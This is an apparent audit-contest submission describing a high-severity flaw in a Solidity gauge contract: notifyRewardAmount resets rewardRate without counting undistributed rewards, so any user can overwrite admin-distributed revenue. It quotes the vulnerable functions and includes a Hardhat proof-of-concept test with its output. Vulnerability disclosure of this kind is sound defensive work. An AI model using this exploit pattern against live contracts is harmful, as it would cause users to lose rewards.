Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Anyone can override the gauge's rewardRate due to logic flaw in notifyRewardAmount

Summary

The GaugeController contract has a critical vulnerability in its reward distribution logic, specifically in the distributeRewards and distributeRevenue functions. Both functions calculate rewards and call IGauge(gauge).notifyRewardAmount(gaugeShare) to distribute rewards to gauges. However, the notifyRewardAmount function in the BaseGauge contract does not account for undistributed rewards when calculating the new rewardRate. This flaw allows a malicious user to immediately call distributeRewards after an emergency admin calls distributeRevenue, causing the rewards from distributeRevenue to be lost or overwritten.

Vulnerability Details

The distributeRevenue function distributes revenue to gauges and can only be called by the emergency admin. It calls notifyRewardAmount.

function distributeRevenue(
GaugeType gaugeType,
uint256 amount
) external onlyRole(EMERGENCY_ADMIN) whenNotPaused {
if (amount == 0) revert InvalidAmount();
uint256 veRAACShare = amount * 80 / 100; // 80% to veRAAC holders
uint256 performanceShare = amount * 20 / 100; // 20% performance fee
revenueShares[gaugeType] += veRAACShare;
_distributeToGauges(gaugeType, veRAACShare);
emit RevenueDistributed(gaugeType, amount, veRAACShare, performanceShare);
}
function _distributeToGauges(
GaugeType gaugeType,
uint256 amount
) internal {
...
...
// Second pass: distribute rewards
for (uint256 i = 0; i < _gaugeList.length; i++) {
address gauge = _gaugeList[i];
if (gauges[gauge].isActive && gauges[gauge].gaugeType == gaugeType) {
uint256 gaugeShare = (amount * gaugeWeights[i]) / totalTypeWeight;
if (gaugeShare > 0) {
IGauge(gauge).notifyRewardAmount(gaugeShare);
}
}
}
}

The distributeRewards function calculates rewards for a gauge and also calls notifyRewardAmount to distribute them. It can be called by any user:

function distributeRewards(
address gauge
) external override nonReentrant whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (!gauges[gauge].isActive) revert GaugeNotActive();
uint256 reward = _calculateReward(gauge);
if (reward == 0) return;
IGauge(gauge).notifyRewardAmount(reward);
emit RewardDistributed(gauge, msg.sender, reward);
}

The notifyRewardAmount function recalculates the rewardRate based on the amount passed to it, without considering undistributed rewards.

function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
if (amount > periodState.emission) revert RewardCapExceeded();
rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}
/**
* @notice Notifies about new reward amount
* @param state Period state to update
* @param amount Reward amount
* @param maxEmission Maximum emission allowed
* @param periodDuration Duration of the period
* @return newRewardRate Calculated reward rate
*/
function notifyReward(
PeriodState storage state,
uint256 amount,
uint256 maxEmission,
uint256 periodDuration
) internal view returns (uint256) {
if (amount > maxEmission) revert RewardCapExceeded();
if (amount + state.distributed > state.emission) {
revert RewardCapExceeded();
}
uint256 rewardRate = amount / periodDuration;
if (rewardRate == 0) revert ZeroRewardRate();
return rewardRate;
}

The core issue lies in the notifyRewardAmount function in the BaseGauge contract. When this function is called, it recalculates the rewardRate based solely on the amount passed to it, without considering any undistributed rewards from previous calls. This leads to the following problems:

  • Reward Overwriting: If distributeRevenue is called by the emergency admin, followed immediately by distributeRewards by a malicious user, the rewards from distributeRevenue are overwritten or lost.

  • Incorrect Reward Distribution: The rewardRate is recalculated without accounting for undistributed rewards, leading to incorrect reward distribution over time.

POC

add the following test case to GaugeController.test.js

it("rewards should not be overwritten", async () => {
let gauge = await rwaGauge.getAddress();
await rewardToken.mint(gauge, ethers.parseEther("1000000"));
await veRAACToken.mint(user1.address, ethers.parseEther("1000000"));
await gaugeController.connect(user1).vote(gauge, 5000);
console.log("emergencyAdmin calls distributeRevenue=====>");
await gaugeController.connect(emergencyAdmin).distributeRevenue(0, ethers.parseEther("900000"));
let rwaRewardRate = await rwaGauge.rewardRate();
console.log("the RewardRate of rwaGauge is:",rwaRewardRate);
console.log("attacker calls distributeRewards======>");
await gaugeController.connect(user2).distributeRewards(gauge);
let rwaRewardRate2 = await rwaGauge.rewardRate();
console.log("the RewardRate of rwaGauge is reset to:",rwaRewardRate2);
});

run npx hardhat test --grep "rewards should not be overwritten"

GaugeController
Integration Tests
emergencyAdmin calls distributeRevenue=====>
the RewardRate of rwaGauge is: 277777777777777777n
attacker calls distributeRewards======>
the RewardRate of rwaGauge is reset to: 192901234567901234n
✔ rewards should not be overwritten (4036ms)

We can see that the rewardRate is overwritten to 192901234567901234, since 192901234567901234 < 277777777777777777, the rewardRate is much smaller than expected, the rewards from distributeRevenue are lost.

Impact

The impact is High because the rewards from distributeRevenue are lost or overwritten, the likelihood is High because the distributeRewards function can be called by any user. So the severity is High.

Tools Used

Manual Review

Recommendations

To fix this vulnerability, the notifyRewardAmount function must be modified to account for undistributed rewards.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge's notifyRewardAmount overwrites reward rates without accounting for undistributed rewards, allowing attackers to reset admin-distributed rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.